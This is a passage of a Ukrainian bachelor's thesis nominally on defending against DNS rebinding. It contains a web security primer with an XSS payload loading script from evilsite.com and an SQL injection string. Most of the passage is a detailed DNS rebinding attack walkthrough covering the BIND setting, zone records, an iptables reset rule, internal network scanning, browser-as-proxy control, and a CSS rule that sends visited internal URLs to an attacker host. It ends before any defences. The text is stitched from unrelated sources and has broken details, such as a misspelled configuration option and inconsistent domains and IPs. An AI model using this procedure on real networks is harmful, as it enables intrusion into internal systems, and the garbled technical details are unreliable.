використовувати нестилізуємі компоненти із зовнішніх бібліотек в VCL 

застосунках, що використовуть стиль. 

Поліпшена кроссплатформеність 

– Додана підтримка Metal Driver GPU для macOS і iOS. 

– Крім підтримки останнього iOS SDK, в RAD Studio 10.4 розроблювачі 

можуть задовольнити нові вимоги Apple до набору стартових екранів. 

– Реалізований заново стилізуємий FMX компонент TMemo на платформі 

Windows значно поліпшений і тепер має відмінну підтримку IME. 

– Користувачам редакцій Enterprise або Architect доступна повна 

інтеграція Fmxlinux з IDE для створення клієнтських застосунків Linux з GUI. 

– Компонент Twebbrowser для iOS тепер реалізований на Wkwebview API. 

– Реалізація компонента Media Player для macOS тепер використовує 

Avfoundation. 

Оновлений менеджер пакетів Getit 

Менеджер пакетів Getit в IDE був значно вдосконалений. 
Ка
фе
др
а_
Кб
ПЗ

_2021р
ік



№ докум. Підпис Дата 

Арк. 

Арк. Вим. 
КБР-125.21.0013.00.00.ПЗ  

 

 

 
  22 

 

Дати випуску релізів пакетів тепер видні, і можливе сортування списку по 

цих датах; відбір тільки встановлених пакетів, контенту, доступного тільки при 

наявності підписки, багато чого іншого. 

Універсальний інсталятор для установки Online і Offline 

В 10.4 включений новий універсальний інсталятор, який використовує 

технологію на базі Getit. Цей інсталятор підтримує як online, так і offline (з ISO) 

варіанти установки. 

Тепер обоє варіанта установки дозволяють вам указати початковий набір 

можливостей RAD Studio для установки, наприклад, свою комбінацію мов 

програмування й цільових платформ, мов інтерфейсу, і додавати до нього або 

видаляти непотрібне в будь-який момент. 

 

2.3 Розгорнута постановка завдання 

 

Згідно з технічним завданням на кваліфікаційну бакалаврську роботу, 

реалізації підлягає програмне забезпечення, яке призначено для системи 

кібербезпеки для протидії атаці DNS Rebinding. 

В процесі розробки кваліфікаційної бакалаврської роботи необхідно 

виконати наступний обсяг роботи: 

а) провести аналіз існуючих систем-аналогів для виявлення їх позитивних і 

негативних якостей. Результати аналізу врахувати в подальших розробках; 

б) вибрати та обґрунтувати методику побудови системи контролю роботи 

технологічного обладнання на виробництві в автоматизованому режимі. 

Розробити функціональну та структурну схеми системи; 

в) розробити програмне забезпечення системи кібербезпеки, що дозволить 

реалізувати поставлену технічним завданням задачу. Побудувати блок-схеми 

алгоритмів програми та підпрограми; 

г) організувати інтерфейс користувача з метою формування та виводу на 

екран ЕОМ повідомлень про некоректні дії користувача та нестандартні ситуації 
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в роботі технологічного обладнання; 

д) розробити рекомендації по організаційних та методичних заходах, які 

забезпечать впровадження системи в промислову експлуатацію та її подальшу 

успішну експлуатацію; 

е) провести розрахунки по визначенню економічної ефективності 

розробленої системи; 

ж) розробити заходи по охороні праці при впровадженні та експлуатації 

системи, а також розробити заходи з цивільного захисту; 

з) сформувати висновки про виконаний обсяг робіт та одержані 

результати. 
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3 ОПИС І ОБҐРУНТУВАННЯ ПРОЕКТНИХ РІШЕНЬ 

 

 

3.1 Опис функціонування системи 

 

Безпека сайту вимагає пильності у всіх аспектах дизайну й використання 

сайту. Ця вступна стаття не зробить із вас гуру безпеки веб-сайту, але вона 

допоможе вам зрозуміти, звідки приходять погрози, і що ви можете зробити, щоб 

зміцнити свій веб-застосунок проти найпоширеніших атак. 

Що таке безпека сайту? 

Інтернет небезпечне місце! Ми регулярно чуємо про те, що веб-сайти 

стають недоступними через атаки типу відмовлене в обслуговуванні, або 

відображення зміненої (і часто ушкодженої) інформації на їхніх сторінках. В 

інших випадках мільйони паролів, адрес електронної пошти й дані кредитних 

карт ставали загальнодоступними, піддаючи користувачів веб-сайту особистій 

зніяковілості або до фінансових ризиків. 

Ціль веб-безпеки полягає в запобіганні цих (або інших) видів атак. Більш 

формальним визначенням веб-безпеки є: способи захисту веб-сайтів від 

несанкціонованого доступу, використання, зміни, знищення або порушення 

роботи. 

Для ефективної безпеки веб-сайту необхідно приділяти особливої увагу до 

розробки всього веб-сайту: до вашого веб-застосунку, конфігурації веб-сервера, 

при написанні політик створення й відновлення паролів, а так само коду на 

стороні клієнта. Хоча все це звучить дуже зловісно, гарна новина полягає в тому, 

що якщо ви використовуєте веб-фреймворк для серверної частини, то він майже 

напевно забезпечить « за замовчуванням» надійні й продумані механізми захисту 

від ряду найпоширеніших атак. Інші атаки можна зм'якшити за допомогою 

конфігурації вашого веб-сервера, наприклад, включивши HTTPS. Нарешті, є 
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загальнодоступні інструменти для сканування уразливостей, які можуть 

допомогти вам визначити, якщо ви допустили які-небудь очевидні помилки. 

У частині, що залишився, цієї статті ми розглянемо більш докладну 

інформацію про деяких найпоширеніших погрозах і про прості кроки, які ви 

можете почати, щоб захистити свій сайт. 

Погрози безпеці сайту 

У цьому розділі перераховані лише деякі з найпоширеніших погроз веб-

сайту й способи їх усунення. Читаючи, зверніть увагу на те, наскільки успішні 

погрози, коли веб-застосунок довіряє, або недостатньо параноїдально ставиться 

до даних, що надходять із браузера. 

Міжсайтовий скриптинг (XSS) 

XSS (Cross-Site Scripting – Міжсайтовий скриптинг) це термін, 

використовуваний для опису типу атак, які дозволяють зловмисникові 

впроваджувати шкідливий код через веб-сайт у браузери інших користувачів. 

Оскільки впроваджений код надходить у браузер із сайту, він є довіреним і може 

виконувати такі дії, як відправлення авторизаційного файлу cookie користувача 

зловмисникові. Коли в зловмисника є файл cookie, він може ввійти на сайт, як 

якби він був користувачем, і зробити все, що може користувач, наприклад, 

одержати доступ до даних кредитної карти, переглянути контактні дані або 

змінити паролі. 

Уразливості XSS історично зустрічалися частіше, чим будь-які інші види 

погроз безпеки. 

Уразливості XSS діляться на відбиті й збережені, залежно від того, як сайт 

повертає впроваджений код у браузер. 

– Відбита Xss-Уразливість виникає, коли користувацький контент, який 

передається на сервер, негайно й без змін вертається для відображення в браузері. 

Будь-який скрипт у вихідному користувацькому контенті запуститься при 

завантаженні нової сторінки. Наприклад, розглянемо рядок пошуку по сайту, у 

якій пошукові слова закодовані як параметри URL, і ці слова відображаються 
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разом з результатами. Зловмисник може створити пошукове посилання, яке буде 

містити шкідливий скрипт у якості параметра (наприклад: 

http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>) і 

переслати його іншому користувачеві по електронній пошті. Якщо цільовий 

користувач кликне по цій «цікавому посиланню», то скрипт виконається при 

відображенні результатів пошуку. Як ми вже говорили, зловмисник у такий 

спосіб одержує всю інформацію, необхідну йому для входу на сайт як цільовий 

користувача, потенційного здійснення покупок від імені користувача або 

одержання його контактної інформації. 

– Постійна уразливість XSS виникає, коли шкідливий скрипт зберігається 

на веб-сайті, а потім знову відображається без змін, щоб інші користувачі могли 

виконувати його мимоволі. Наприклад, дошка обговорень, яка ухвалює 

коментарі, що містять незмінений HTML, може зберігати шкідливий скрипт від 

зловмисника. Коли коментарі відображаються, скрипт виконується й може 

відправити зловмисникові інформацію, необхідну для доступу до облікового 

запису користувача. Атака такого роду надзвичайно популярна й потужна, тому 

що зловмисник може навіть не мати прямого відношення до жертв. 

– Хоча дані із запитів POST або GET є найпоширенішим джерелом 

уразливостей XSS, будь-які дані із браузера потенційно вразливі, такі як дані 

cookie, відображувані браузером, або користувацькі файли, які завантажуються й 

відображаються. 

– Найкращим захистом від уразливостей XSS є видалення або 

відключення будь-якої розмітки, яка потенційно може містити інструкція із 

запуску коду. Для HTML це включає такі елементи, як <script>, <object>, 

<embed> і <link>. 

– Процес зміни користувацьких даних, щоб їх не можна було 

використовувати для запуску сценаріїв або іншим способом впливати на 

виконання серверного коду, називається очищенням уведення. Багато веб-
Ка
фе
др
а_
Кб
ПЗ

_2021р
ік

http://mysite.com?q=beer<script%20src=
http://evilsite.com/tricky.js


№ докум. Підпис Дата 

Арк. 

Арк. Вим. 
КБР-125.21.0013.00.00.ПЗ  

 

 

 
  27 

 

фреймворки автоматично очищають користувацьке введення від Html-Форм за 

замовчуванням. 

SQL injection 

Уразливості SQL-ін'єкцій дозволяють зловмисникам виконувати 

довільний код SQL у базі даних, дозволяючи одержувати, змінювати або 

видаляти дані незалежно від дозволів користувача. Успішна ін'єкційна атака 

може підробити посвідчення, створити нові посвідчення із правами 

адміністратора, одержати доступ до всіх даних на сервері або знищити / змінити 

дані, щоб зробити їхніми непридатними для використання. 

Типи впровадження SQL включають впровадження SQL на основі 

помилок, впровадження SQL на основі логічних помилок і впровадження SQL на 

основі часу. 

Ця уразливість присутня, якщо користувацьке введення, яке передається в 

базовий оператор SQL, може змінити зміст оператора. Наприклад код, що 

випливає, призначений для перерахування всіх користувачів з певним іменем 

(username), яке було надано з форми HTML: 

statement = "SELECT * FROM users WHERE name = '" + username + "';" 

Якщо користувач указує реальне ім'я, оператор буде працювати так, як 

задумано. Однак зловмисний користувач може повністю змінити поведінка цього 

оператора SQL на новий оператор у наступному прикладі, просто вказавши текст 

напівжирним шрифтом для username. 

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * 

FROM userinfo WHERE 't' = 't'; 

Модифікований оператор створює дійсний оператор SQL, який видаляє 

таблицю користувачів і вибирає всі дані з таблиці userinfo (яка розкриває 

інформацію про кожного користувача). Це працює, тому що перша частина 

введеного тексту (a ';) завершує вихідне твердження. 

Щоб уникнути такого роду атак, ви повинні переконатися, що будь-які 

користувацькі дані, які передаються в запит SQL, не можуть змінити природу 
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запиту. Один зі способів зробити це – екранувати всі символи користувацького 

введення, які мають особливе значення в SQL. 

Інструкція SQL обробляє символ ' як початок і кінець строкового літерала. 

Помістивши зворотну косу рису перед цим символом (\ '), ми екрануємо символ і 

говоримо SQL замість цього трактувати його як символ (тільки частина рядка). 

У наступній інструкції ми екрануємо символ '. Тепер SQL буде 

інтерпретувати ім'я як увесь рядок, виділену жирним шрифтом (це дійсно дуже 

дивне ім'я, але безпечне). 

SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * 

FROM userinfo WHERE \'t\' = \'t'; 

Веб-фремворки будуть часто опікуватися про зарезервовані символи для 

вас. Django, наприклад, гарантує, що будь-які користувацькі дані, передані в 

набори запитів (модельні запити), будуть екрануються. 

Підробка міжсайтових запитів (CSRF) 

CSRF-атаки дозволяють зловмисникові виконувати дії, використовуючи 

облікові дані іншого користувача, без нього ведена або згоди. 

Цей тип атаки найкраще пояснити на прикладі. Джон – зловмисник, який 

знає, що певний сайт дозволяє користувачам, що ввійшли в систему, відправляти 

гроші на зазначений обліковий запис, використовуючи HTTP-запит POST, який 

включає ім'я облікового запису й суму грошей. Джон створює форму, яка містить 

у собі його банківські реквізити й суму грошей у вигляді схованих полів, і 

відправляє її по електронній пошті іншим користувачам сайту (із кнопкою 

«Відправити», замаскованої під посилання на сайт «швидкого збагачення»). 

Якщо користувач натискає кнопку відправлення, на сервер буде 

відправлений HTTP-запит POST, що містить відомості про транзакцію й будь-які 

файли cookie на стороні клієнта, які браузер зв'язав із сайтом (додавання 

зв'язаних файлів cookie сайту в запити є нормальною поведінкою браузера). 

Сервер перевірить файли cookie і використовує їх, щоб визначити, чи ввійшов 

користувач у систему й чи має дозвіл на здійснення транзакції. 
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У результаті будь-який користувач, який натискає кнопку Відправити під 

час входу на торговельний сайт, робить транзакцію. Джон стає багатим. 

Один зі способів запобігти цьому типу атаки – запросити сервером запити 

POST, що містять секрет, створений користувачем для конкретного сайту. Секрет 

буде наданий сервером при відправленні веб-форми, використовуваної для 

перекладів. Такий підхід не дозволяє Джону створити свою власну форму, тому 

що він повинен знати секрет, який сервер надає користувачеві. Навіть якщо він 

довідається секрет і створить форму для конкретного користувача, він більше не 

зможе використовувати ту ж форму для атаки на кожного користувача. 

Веб-фреймворки часто включають такі механізми запобігання CSRF. 

Інші погрози 

Інші розповсюджені атаки / уразливості включають: 

– Clickjacking. У цій атаці зловмисник перехоплює кличі, призначені для 

видимого сайту верхнього рівня, і направляє їх на сховану нижче сторінку. Цей 

метод можна використовувати, наприклад, для відображення законного сайту 

банку, але захвата облікових даних для входу в невидимий <iframe>, 

контрольований зловмисником. Clickjacking також можна використовувати для 

того, щоб змусити користувача нажати кнопку на видимому сайті, але при цьому 

насправді мимоволі натискати зовсім іншу кнопку. У якості захисту ваш сайт 

може запобігти вбудовуванню себе в iframe на іншому сайті, установивши 

відповідні заголовки HTTP. 

– Denial of Service (DoS). DoS звичайно досягається за рахунок повені 

цільового сайту підробленими запитами, так що доступ до сайту порушується для 

законних користувачів. Запити можуть бути просто численними або окремо 

споживати більші обсяги ресурсів (наприклад, повільне читання або 

завантаження більших файлів). Захист від DoS звичайно працює, виявляючи й 

блокуючи «поганий» трафік, пропускаючи при цьому легітимні повідомлення. Ці 

засоби захисту звичайно розташовані перед веб-сервером або на ньому (вони не є 

частиною самого веб-застосунку). 
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– Directory Traversal (Файл і розкриття). У цій атаці зловмисник 

намагається одержати доступ до частин файлової системи веб-сервера, до яких у 

нього не повинне бути доступу. Ця уразливість виникає, коли користувач може 

передавати імена файлів, що містять символи навігації файлової системи 

(наприклад, ../../). Розв'язок полягає в тому, щоб очищати введення перед його 

використанням. 

– File Inclusion. У цій атаці користувач може "випадково" указати файл 

для відображення або виконання в даних, переданих на сервер. Після 

завантаження цей файл може виконуватися на веб-сервері або на стороні клієнта 

(що приводить до Xss-атаці). Розв'язок полягає в тому, щоб дезінфікувати 

введення перед його використанням. 

– Впровадження команд. Атаки із впровадженням команд дозволяють 

зловмисникові виконувати довільні системні команди в операційній системі 

хоста. Розв'язок полягає в тому, щоб дезінфікувати дані, що вводяться 

користувачем, до того, як їх можна буде використовувати в системних викликах. 

Кілька ключових повідомлень 

Майже всі експлойти безпеки, описані в попередніх розділах, успішні, 

коли веб-застосунок довіряє даним із браузера. Що б ви не робили для 

підвищення безпеки свого веб-сайту, ви повинні дезінфікувати всі дані, що 

виходять від користувачів, перш ніж вони будуть відображатися в браузері, 

використовуватися в запитах SQL або передаватися у виклик операційної 

системи або файлової системи. 

Найважливіший урок, який ви можете витягти про безпеку веб-сайтів: 

ніколи не довіряйте даним із браузера. Це включає, крім іншого, дані в 

параметрах Url-адрес запитів GET, запитів POST, заголовків HTTP і файлів 

cookie, а також файлів, завантажених користувачем. Завжди перевіряйте й 

дезінфікуйте всі вхідні дані. Завжди припускайте гірше! 
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Ви можете почати ряд інших конкретних кроків: 

– Використовуйте більш ефективне управління паролями. Заохочуйте 

регулярну зміну надійних паролів. Розглянете можливість двофакторної 

автентифікації для вашого сайту, щоб на застосунок до пароля користувач 

повинен був увести інший код автентифікації (звичайно той, який доставляється 

через якесь фізичне устаткування, яке буде мати тільки користувач, наприклад, 

код в SMS, відправленому на його телефон). 

– Налаштуйте свій веб-сервер для використання HTTPS і HTTP Strict 

Transport Security (HSTS). HTTPS шифрує дані, передані між вашим клієнтом і 

сервером. Це гарантує, що облікові дані для входу, файли cookie, дані запитів 

POST і інформація заголовка не будуть легко доступні для зловмисників. 

– Стежите за найбільш популярними погрозами і в першу чергу усувайте 

найпоширеніші уразливості. 

– Використовуйте інструменти сканування уразливостей, щоб виконати 

автоматичне тестування безпеки на вашому сайті. Пізніше ваш дуже успішний 

веб-сайт може також виявляти помилки, пропонуючи винагороду за виявлення 

помилок, як це робить тут Mozilla. 

– Зберігайте й відображайте тільки ті дані, які вам потрібні. Наприклад, 

якщо ваші користувачі повинні зберігати конфіденційну інформацію, таку як дані 

кредитної карти, відображайте частину номера карти тільки для того, щоб він міг 

бути ідентифікований користувачем, і недостатньо, щоб його міг скопіювати 

зловмисник і використовувати на іншому сайті. Найпоширеніший шаблон у цей 

час – відображення тільки останніх 4 цифр номера кредитної карти. 

Веб-фреймворки можуть допомогти зм'якшити багато з найпоширеніших 

уразливостей. 

У цій роботі пояснюється концепція веб-безпеки й деякі з 

найпоширеніших погроз, від яких ваш веб-сайт повинен намагатися захиститися. 

Найголовніше, ви повинні розуміти, що веб-застосунок не може довіряти ніяким 
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даним з веб-браузера. Усі користувацькі дані повинні бути очищені перед 

відображенням або використанням в SQL-запитах і викликах файлової системи. 

 

3.2 Розробка структурної схеми 

 

Основою моделі безпеки, закладеної в сучасні браузери, є механізм «Same 

origin policy». Суть його полягає в тому, що браузери не дозволяють сценаріям 

звертатися до даних, розташованих на сторонніх доменах. Виключення становить 

лише можливості передавати Post-запити й підключати до сторінки файли 

javascript і css. При цьому не існує ніяких легальних способів читати дані, 

одержувані з іншого домену. 

Обхід обмежень 

Подумаємо, чого конкретно можна було б добитися, якби обмеження на 

одержання даних з інших доменів удалося скасувати. У першу чергу, ми 

одержали б можливість не тільки відправляти запити на сторонні ресурси (як при 

стандартних CSRF-атаках), але й обробляти відповіді, отримані від сервера. А 

виходить, більша частина механізмів, призначених для захисту від CSRF-атак, 

перестала б працювати. Ми могли б одержати доступ до ресурсів, розташованих у 

внутрішній мережі (недоступної ззовні), при цьому браузер користувача 

використовувався б у якості проксі. Також можна було б одержувати 

конфіденційні дані з ресурсів, на яких користувач проходить автентифікацію за 

допомогою сертифікатів. Гарним прикладом подібного веб-застосунку для 

корпоративного середовища є поштовий сервер Outlook Web Access. 

Саме для обходу обмеження «Same origin policy» і було придумане 

сімейство атак Anti DNS pinning, також відоме як DNS rebinding. Атакам типу 

Anti DNS pinning піддані веб-сервери, які відповідають на HTTP-запити з 

довільним значенням заголовка Host. Зокрема, уразливі всі web-сервера Apache і 

IIS з конфігурацією за замовчуванням. Також уразливі практично всі віддалені 

сервіси, керовані по HTTP, але, що не мають web-інтерфейсу. Наприклад, 
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уразливі практично всі сервіси, що надають віддалені API з керуванням за 

допомогою протоколів SOAP, XML-RPC і подібних. 

У чому ж суть? 

Сучасні браузери, при одержанні сторінки з якого-небудь сайту, кешують 

результати DNS-запиту. Це робиться для запобігання відправлення запитів до 

сторонніх серверів за допомогою підміни ІР-адреси. Давай подумаємо, що можна 

зробити для обходу цього механізму. Раніше атака (у теорії) могла проводитися в 

такий спосіб: 

1. Жертва звертається до домену зловмисникові, що належить. 

2. Одержує з DNS-сервера ІР-адресу, відповідну до доменному імені. 

3. Звертається на web-сервер (відповідний отриманому ІР) і одержує з 

нього сценарій javascript. 

4. Отриманий Javascript через якийсь час після завантаження ініціює 

повторний запит на сервер. 

5. У цей момент атакуючий за допомогою міжмережевого екрана блокує 

всі запити жертви до сервера. 

6. Браузер намагається повторно довідатися ІР-адресу сервера (пославши 

відповідний DNS-запит) і цього разу одержує ІР-адресу вразливого сервера з 

локальної мережі жертви. 

Відповідно, якщо вдасться заманити жертву на свій домен evil.xxx, можна 

змусити браузер користувача думати, що цьому імені домену відповідає не ІР-

адресу із зовнішнього інтернету, а ІР-адресу з локальної мережі. По цій адресі 

може, приміром, розташовуватися який-небудь важливий 

внутрішньокорпоративний ресурс.  
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Рисунок 3.1 – Структурна схема системи 

 

Реалізуємо на практиці 

Як можна зрозуміти з опису атаки, нам буде потрібно один сервер, на 

якому потрібно підняти й налаштувати WEB- і DNS-сервера, також буде потрібно 

домен, на який можна буде заманювати жертву. При реєстрації доменного імені 

вказуємо в якості DNS-серверів дані нашого сервера. 

 Для успішного проведення атаки на практиці потрібно зконфігурувати 

DNS-сервер так, щоб він повертав обидві ІР-адреси одночасно. Причому ІР-

адресу сервера, на якій лежить Javascript, що проводить атаку, повинен вертатися 

першим, а ІР-адресу сервера жертви – другим. У такому випадку при звертанні до 

домену браузер спочатку завантажить атакуючий скрипт із нашого сервера, лише 

потім, коли сервер стане недоступним (у результаті блокування запиту 

міжмережевим екраном), – звернеться до сервера жертви. 

Для цієї цілі цілком підходить сервер Bind 9. Щоб він повертав ІР-адреси в 

потрібному порядку, його потрібно зібрати з вихідних кодів із прапором --enable-

fixed-rrset. За замовчуванням цей прапор не встановлений, і версії, 

Контролюємий 

Контролюємий 

Контролюємий 

Атакуючий блокує доступ до Web-серверу 
Отриманий сценарій JS робить повторне 

звернення 
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розповсюджувані в бінарниках, використовувати не вийде. У налаштуваннях 

bind9 вказується, що слід використовувати фіксований порядок проходження ІР-

адрес. Для цього в named.conf.options, у параметрі options вказується: 

rrset-oredr { order fixed; }; 

Далі потрібно налаштуєти зону. На прикладі домену DNS.evil.xxx: 

DNS A 97.246.251.93 

A 192.168.0.1 

У підсумку, при звертанні до DNS-серверу атакуючого, для домену 

DNS.attacker.ua браузер завжди буде звертатися спочатку до ІР-адресі 

97.246.251.93, потім, якщо він недоступний, до 192.168.0.1. 

У деяких випадках цей порядок може порушуватися, докладніше описане 

нижче. 

Крім сервера DNS для проведення атаки буде потрібно вебсервер (як 

приклад розглянемо Apache), і зручний механізм блокування вхідних запитів на 

з'єднання із сервером. Для блокування вхідних запитів можна використовувати 

міжмережевий екран iptables, і найбільш ефективним способом блокування є 

відправлення пакета з tcp-reset у відповідь на спробу з'єднання, інакше браузер 

буде витрачати зайвий час у рамках таймауту Tcp-сесії на очікування відповіді 

від сервера. За допомогою iptables це робиться в такий спосіб: 

iptables -A INPUT -s [блокируемий ІР-адресу] -p tcp \ 

--dport 80 -j REJECT --reject-with tcp-reset 

У прикладі свідомо блокується тільки 80-й порт, тому що для реалізації 

атаки знадобиться сервіс, на який будуть відправлятися отримані від клієнта дані. 

У підсумку атака виглядає в такий спосіб: 

1. Жертва звертається до домену DNS.evil.xxx. 

2. DNS-сервер атакуючого повертає обоє ІР-адреси у фіксованому 

порядку. 

3. Браузер перенаправляє запит до сервера, розташованого на 

зовнішньому ІР 97.246.251.93. 
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4. Сервер повертає Html-сторінку з Javascript'ом. 

5. Після завантаження сторінки в браузері, клієнтський javascript шле 

запит до домену DNS.evil.xxx. 

6. Після одержання запиту серверний скрипт блокує вхідні з'єднання з ІР-

адреси жертви. 

7. Через якийсь час клієнтський скрипт знову звертається до домену 

DNS.attacker.ua і, оскільки сервер 97.246.251.93 повертає RST, запит 

перенаправляється на локальний сервер 192.168.0.1. 

Тепер наш javascript може слати будь-які GET/POST/ Head-запити до 

застосунку, розташованого на адресі 97.246.251.93, а також обробляти отримані 

відповіді й відправляти результати атакуючому! 

Корисне навантаження 

Отже, браузер думає, що скрипт був завантажений з ресурсу із 

внутрішньої мережі, і в нас є можливість цим ресурсом управляти. Які завдання 

цей скрипт повинен виконати для одержання практичної користі? По-перше, 

скрипт повинен визначити, з яким конкретно додатком ми маємо справу, потім –

 чи є яка-небудь авторизація, яку прийде обходити. Після цього скрипт повинен 

виконати команди, закладені в ньому для даного типу устаткування. Приміром, 

змінити конфігурацію або одержати копію листів/документів, що зберігаються на 

вразливому сервері. 

Після виконання жорстко заданих команд, можна перемкнути браузер 

жертви в режим проксі-сервера й дати можливість атакуючому слати запити до 

застосунку в режимі online. До виконання всіх цих завдань потрібно розібратися з 

тим, як скрипт буде відправляти запити до вразливого застосунку, і як буде 

відбуватися передача отриманих даних на сервер атакуючого. Не забуваємо про 

те, що обмеження Same Origin Policy ми вже обійшли, а виходить, для 

спілкування скрипту з уразливим сервером можна використовувати стандартні 

Ajax-технології, зокрема компонентів XMLHttpRequest. 
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З передачею отриманих даних на сервер складніше, тому що сервер 

керування процесом атаки (адміністративна панель атакуючого) розташовується 

або на іншому домені, або на іншому порту (80-й порт на своєму сервері ми 

заблокували). 

Це значить, що скрипт знову зіштовхнеться з обмеженнями Same Origin 

Policy. На щастя, для розв'язку цієї проблеми була придумана технологія за 

назвою JSONP, використання якої дозволить відправляти запити на наш сервер, 

якщо той буде повертати спеціальним образом підготовлені відповіді. З 

механізмами всі ясно, ідемо далі. 

Виконання команд 

При відправленні команд на сервер, що атакується, випливає або 

використовувати XMLHttpRequest у синхронному режимі, або синхронізувати 

відправлення команд вручну й не відправляти наступну команду доти, поки не 

прийде відповідь на попередню. З метою підвищення швидкодії роботи скрипту я 

рекомендую використовувати другий варіант. 

Для використання браузера жертви в якості проксі, потрібно після 

закінчення роботи скрипту запустити функцію setinterval, у яку передати код, 

який буде запитувати в керуючого сервера наступну команду, яку потрібно 

запустити на устаткуванні, що атакується. А результат виконання команди можна 

передавати назад на сервер. 

Атака на корпоративні мережі 

Ми розібралися, що робити, якщо ціль одна. Тепер треба розібратися, як 

атакувати корпоративні мережі цілком. Ну й у першу чергу для проведення такої 

атаки необхідно навчитися в прийнятний час визначати ІР-адреси цілей атаки. 

По-друге, потрібно забезпечити можливість атаки декількох цілей за один сеанс 

роботи користувача. По-третє, потрібна можливість здійснення розподілених атак 

на той самий сервер з декількох браузерів, розташованих у внутрішній мережі 

компанії. І по-четверте, необхідна можливість відправлення запитів на різні ІР-
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адреси при використанні браузера жертви в якості проксі (вище йшла мову про 

відправлення подібних команд тільки на одну адресу). 

Цілевказівка 

Для визначення цілей можна сканувати ІР-адреси мережі по діапазону. 

Для цього можна користуватися, приміром, тегом IFRAME і подією onload. 

Інший варіант реалізації – створювати об'єкт Image і за допомогою onload 

визначати, чи завантажилося зображення. Для визначення того, що по даній 

адресі ресурс не був виявлений, можна користуватися функцією settimeout, яка 

після закінчення деякого часу буде перевіряти, чи створився об'єкт чи ні, і якщо 

об'єкт не створений – сигналізувати про те, що ресурс по даній адресі не 

знайдений. 

З використанням цього підходу зв’язано  кілька очевидних проблем: 

1. Проксі-сервер може повертати відповідь навіть при відправленні 

запиту на неіснуючий ІР-адресу, і в результаті метод onload буде вказувати на 

наявність навіть неіснуючих адрес. 

2. Потенційно велика кількість неправильних спрацьовувань при 

помилках вибору значення таймауту. 

3. При великому значенні таймауту й/або великому діапазоні адрес, що 

перебираються, добір може забрати значний час. 

Для вирішення цих проблем можна скористатися іншим методом 

визначення цілей. 

CSS History Hack v 2.0 

Кілька років назад був запропонований цікавий спосіб визначення веб-

адрес, які відвідував користувач браузера. Суть методу полягає в тому, що за 

допомогою javascript можна довідатися колір посилання, створеної на сторінці, і 

для раніше відвіданих посилань цей колір відрізняється. 

Таким чином, сформувавши список адрес, можна за допомогою javascript 

створити тег <a> для кожної адреси зі списку й звірити його колір з кольором уже 
Ка
фе
др
а_
Кб
ПЗ

_2021р
ік



№ докум. Підпис Дата 

Арк. 

Арк. Вим. 
КБР-125.21.0013.00.00.ПЗ  

 

 

 
  39 

 

відвіданого посилання. Для простоти роботи, кольору вже відвіданих посилань 

задаються явно за допомогою CSS. 

Пройшло кілька років, і цю уразливість закрили. Сучасні версії браузерів 

(навіть IE8) тепер завжди для посилань програмно віддають колір за 

замовчуванням, навіть якщо раніше посилання було відвідано. Втім, цю 

уразливість однаково можна реалізувати по-новому. Для цього жорстко задамо 

масив посилань, що перевіряються, наприклад: 

var links = [ 

'http://192.168.0.1', 

'http://192.168.1.1', 

'http://10.1.1.1' 

]; 

Для кожного посилання в динамічно створюваний тег STYLE додамо Css-

правило виду: 

A#id:visited { background:url('http://admin.evil.xxx:8080/ 

backonnect.php?url=http://192.168.0.1'); } 

У підсумку, при створенні посилання, яке було відвідано, браузер спробує 

завантажити url, зазначений в адресі, а для невідвіданого посилання url 

завантажуватися не буде. У такий спосіб на сервер можна передати інформацію 

про відвідані посилання, і цьому виду атаки піддаються всі актуальні на сьогодні 

версії браузерів, у тому числі й самі нові. 

 

3.3 Розробка функціональної схеми 

 

Атака декількох цілей 

Для проведення атаки типу DNS rebinding потрібно робити блокування 

з'єднань із боку користувача, причому з урахуванням реакції сучасних браузерів 

це блокування слід робити ще під час TCP handshake. Якщо блокування 

проводити вже після з'єднання, браузер не буде використовувати альтернативну 
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адресу. Зокрема, IE і Firefox повертають відповідь 200 OK з порожнім тілом 

відповіді, а браузер Opera повертає код помилки 404 і не намагається з'єднатися з 

іншим ІР-адресою. 

Таким чином, паралельна атака декількох ресурсів одночасно з 

використанням стандартного підходу неможлива. Для проведення атаки на кілька 

мет, можна виділити функції визначення цілей і вибору поточної цілі в окрему 

Html-сторінку. При виявленні цілі, її ІР-адресу буде передаватися на сервер, і 

серверний скрипт повинен створити для атаки на неї відповідний субдомен у 

таблиці DNS. 

Наприклад, для ІР-адреси 192.168.0.1 можна створити субдомен 

192.168.0.1.DNS.evil.xxx. Керуюча сторінка за адресою 

http://DNS.evil.xxx/control.html повинна створити iframe, у який буде 

завантажений документ, що містить клієнтський скрипт проведення атаки DNS 

Rebinding, що перебуває, приміром, за адресою 

http://192.168.0.1.DNS.evil.xxx/rebinding.html. 

Щоб не доводилося додавати віртуальні сайти в ході атаки, потрібно 

налаштуєти віртуальний хост веб-сервера таким чином, щоб для всіх піддоменів 

віддавалися ті самі файли. Це створює парадокс: сервер, що здійснює атаку, буде 

сам уразливий для неї. 

Отримана сторінка повідомляє сервер, щоб він обслуговував тільки її 

запити, запитує блокування ІР-адреси, що атакується, виконує роботу й відпускає 

блокування. Разом із цим сервер знову дозволяє запити від жертви. 

Повний алгоритм виглядає в такий спосіб: 

1. Система визначення цілей передає ІР-адреси цілей на сервер 

атакуючого (допустимо, 97.246.251.93). 

2. Керуючий скрипт на клієнтові запитує доменне ім'я цілі в сервера. 

3. Сервер створює DNS-запис для субдомену, який буде 

використовуватися для атаки на конкретний ІР-адресу. 
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Рисунок 3.2 – Функціональна схема системи 
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Приклад: 

97.246.251.93.DNS.evil.xxx 

A 97.246.251.93 

A 192.168.0.1 

4. Керуючий скрипт указує отримане ім'я домену в якості параметра src-

тегу IFRAME. 

5. Документ, отриманий з домену 192.168.0.1.evil.xxx запитує в сервера 

блокування. 

6. Сервер перестає реагувати на запити про одержання адреси цілей, і 

блокує звернення із браузера жертви на 80-й порт. 

7. Клієнтський скрипт виконує роботу з одержання потрібних даних і 

керуванню устаткуванням. 

8. Після закінчення роботи клієнтський скрипт повідомляє сервер, що 

блокування можна звільнити. 

9. Сервер звільняє блокування й знову дозволяє доступ з адреси, що 

атакує на 80-й порт. 

10. Керуючий скрипт запитує адресу наступної цілі, і процес 

повторюється при необхідності. 

Для динамічного створення DNS-записів можна використовувати 

механізм автоматичного відновлення DNS, наприклад, утиліту DNSupdate. При її 

використанні перезавантаження DNS-сервера не буде потрібно. 

Захист від атаки типу DNS Rebinding 

У принципі, є кілька способів захиститися від даного виду атак, 

наприклад: 

